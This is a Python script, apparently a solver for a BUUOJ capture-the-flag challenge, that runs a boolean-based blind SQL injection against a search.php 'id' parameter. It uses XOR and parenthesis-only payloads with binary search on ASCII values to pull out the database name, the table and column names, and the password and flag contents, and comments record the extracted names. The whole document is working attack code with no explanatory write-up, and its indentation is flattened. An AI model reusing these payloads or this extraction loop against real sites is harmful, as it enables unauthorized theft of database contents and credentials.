import requests
url = 'http://5d9d1cb2-97fb-46b6-87e2-0fd16174256b.node3.buuoj.cn/search.php?id='
# geek
def get_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select(database())),{i},1))>{mid})"
url_t = url + payload
r = requests.get(url=url_t)
if 'ERROR' in r.text:
high = mid
if 'Click others' in r.text:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# F1naI1y,Flaaaaag
def get_table():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})"
url_t = url + payload
r = requests.get(url=url_t)
if 'ERROR' in r.text:
high = mid
if 'Click others' in r.text:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# F1naI1y: id,username,password
# Flaaaaag: id,fl4gawsl
def get_column():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})"
url_t = url + payload
r = requests.get(url=url_t)
if 'ERROR' in r.text:
high = mid
if 'Click others' in r.text:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
def get_flag():
flag = ''
for i in range(1, 500):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
# payload = f"0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{i},1))>{mid})"
# payload = f"0^(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})"
payload = f"0^(ascii(substr(reverse((select(group_concat(password))from(F1naI1y))),{i},1))>{mid})"
url_t = url + payload
r = requests.get(url=url_t)
if 'ERROR' in r.text:
high = mid
if 'Click others' in r.text:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
get_flag()